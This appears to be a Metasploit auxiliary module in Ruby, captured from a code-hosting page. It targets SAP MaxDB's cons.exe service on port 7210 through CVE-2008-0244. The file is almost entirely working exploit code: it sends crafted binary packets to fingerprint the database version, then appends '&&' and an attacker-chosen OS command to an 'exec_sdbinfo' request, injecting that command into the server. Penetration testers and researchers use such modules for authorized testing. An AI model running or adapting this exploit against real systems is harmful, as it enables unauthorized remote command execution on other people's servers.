80 lines
2.3 KiB
Ruby
80 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SAP MaxDB cons.exe Remote Command Injection',
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'Description' => %q{
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SAP MaxDB is prone to a remote command-injection vulnerability
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because the application fails to properly sanitize user-supplied input.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '40210' ],
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['BID', '27206'],
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['CVE', '2008-0244'],
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],
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'DisclosureDate' => 'Jan 9 2008'))
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register_options(
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[
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Opt::RPORT(7210),
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OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
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], self.class)
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end
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def run
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connect
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#Grab the MaxDB info.
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pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
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pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
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pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
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pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
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pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
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pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"
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db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
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db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
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db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"
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sock.put(pdbmsrv)
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sock.get_once
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sock.put(db_version)
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ver = sock.get_once || ''
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info = ver[27,2000]
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if (info.length > 0)
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print_status(info)
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end
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#Send our command.
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len = 39 + datastore['CMD'].length
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data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
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data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
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data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"
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sock.put(data)
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res = sock.get_once
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print_line(res)
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disconnect
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end
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end
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